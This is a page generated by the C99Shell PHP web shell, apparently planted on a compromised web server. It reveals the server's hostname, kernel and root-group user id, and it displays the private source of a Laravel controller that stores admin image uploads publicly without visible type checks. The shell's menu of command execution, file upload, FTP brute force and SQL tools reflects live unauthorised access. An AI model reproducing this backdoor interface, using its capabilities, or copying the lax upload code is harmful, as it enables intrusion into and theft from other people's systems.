!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemplateController.php (6.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Setting;
use 
App\Models\TemplateTwo;
use 
Illuminate\Http\Request;

class 
TemplateController extends Controller
{
    public function 
index()
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        return 
view('template.index');
    }
    public function 
store(Request $request)
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        
$data_template Setting::where('name','frontend_template')->first();
        if (
$data_template){
            
$template json_decode($data_template->value);
        }
        if(isset(
$template->bg_image_file_name) && $template->bg_image_file_name){
            
$request['bg_image_file_name'] = $template->bg_image_file_name;
        }
        if (
$request->hasFile('bg_image')) {
            
$file $request->file('bg_image');
            
$imageOneName time().'_1' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageOneName);
            
$request['bg_image_file_name'] = $imageOneName;
        }
        if(isset(
$template->first_img_file_name) && $template->first_img_file_name){
            
$request['first_img_file_name'] = $template->first_img_file_name;
        }

        if (
$request->hasFile('first_img')) {
            
$file $request->file('first_img');
            
$imageTwoName time().'_2' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageTwoName);
            
$request['first_img_file_name'] = $imageTwoName;
        }
        if(isset(
$template->sec_img_file_name) && $template->sec_img_file_name){
            
$request['sec_img_file_name'] = $template->sec_img_file_name;
        }

        if (
$request->hasFile('sec_img')) {
            
$file $request->file('sec_img');
            
$imageThreeName time().'_3' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageThreeName);
            
$request['sec_img_file_name'] = $imageThreeName;
        }
        if(isset(
$template->thr_img_file_name) && $template->thr_img_file_name){
            
$request['thr_img_file_name'] = $template->thr_img_file_name;
        }

        if (
$request->hasFile('thr_img')) {
            
$file $request->file('thr_img');
            
$imageFourName time().'_4' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageFourName);
            
$request['thr_img_file_name'] = $imageFourName;
        }
        if(isset(
$template->section_three_bg_image_file_name) && $template->section_three_bg_image_file_name){
            
$request['section_three_bg_image_file_name'] = $template->section_three_bg_image_file_name;
        }

        if (
$request->hasFile('section_three_bg_image')) {
            
$file $request->file('section_three_bg_image');
            
$imageFiveName time().'_5' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageFiveName);
            
$request['section_three_bg_image_file_name'] = $imageFiveName;
        }
        if(isset(
$template->first_comment_img_file_name) && $template->first_comment_img_file_name){
            
$request['first_comment_img_file_name'] = $template->first_comment_img_file_name;
        }

        if (
$request->hasFile('first_comment_img')) {
            
$file $request->file('first_comment_img');
            
$imageSixName time().'_6' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageSixName);
            
$request['first_comment_img_file_name'] = $imageSixName;
        }
        if(isset(
$template->sec_comment_img_file_name) && $template->sec_comment_img_file_name){
            
$request['sec_comment_img_file_name'] = $template->sec_comment_img_file_name;
        }

        if (
$request->hasFile('sec_comment_img')) {
            
$file $request->file('sec_comment_img');
            
$imageSevenName time().'_7' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageSevenName);
            
$request['sec_comment_img_file_name'] = $imageSevenName;
        }
        if(isset(
$template->thr_comment_img_file_name) && $template->thr_comment_img_file_name){
            
$request['thr_comment_img_file_name'] = $template->thr_comment_img_file_name;
        }

        if (
$request->hasFile('thr_comment_img')) {
            
$file $request->file('thr_comment_img');
            
$imageEightName time().'_8' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageEightName);
            
$request['thr_comment_img_file_name'] = $imageEightName;
        }
        if (isset(
$data_template) && $data_template->name == 'frontend_template'){
            
$template Setting::where('name''=''frontend_template')->first();
            
$template->value json_encode($request->only('title','main_title','first_title','first_description','sec_title','sec_description','thr_title','thr_description','section_three_title','section_three_description','section_four_title','first_name','first_comment','sec_name','sec_comment','thr_name','thr_comment','first_img_file_name','sec_img_file_name','thr_img_file_name','section_three_bg_image_file_name','sec_comment_img_file_name','thr_comment_img_file_name','section_five_title','bg_image_file_name','first_comment_img_file_name'));
            
$template->save();
        }else{
            
$template = new Setting();
            
$template->name 'frontend_template';
            
$template->value json_encode($request->only('title','main_title','first_title','first_description','sec_title','sec_description','thr_title','thr_description','section_three_title','section_three_description','section_four_title','first_name','first_comment','sec_name','sec_comment','thr_name','thr_comment','first_img_file_name','sec_img_file_name','thr_img_file_name','section_three_bg_image_file_name','sec_comment_img_file_name','thr_comment_img_file_name','section_five_title','bg_image_file_name','first_comment_img_file_name'));
            
$template->save();
        }
        
cache()->flush();

        return 
redirect()->back()->with('success'trans('layout.template_updated_successfully'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--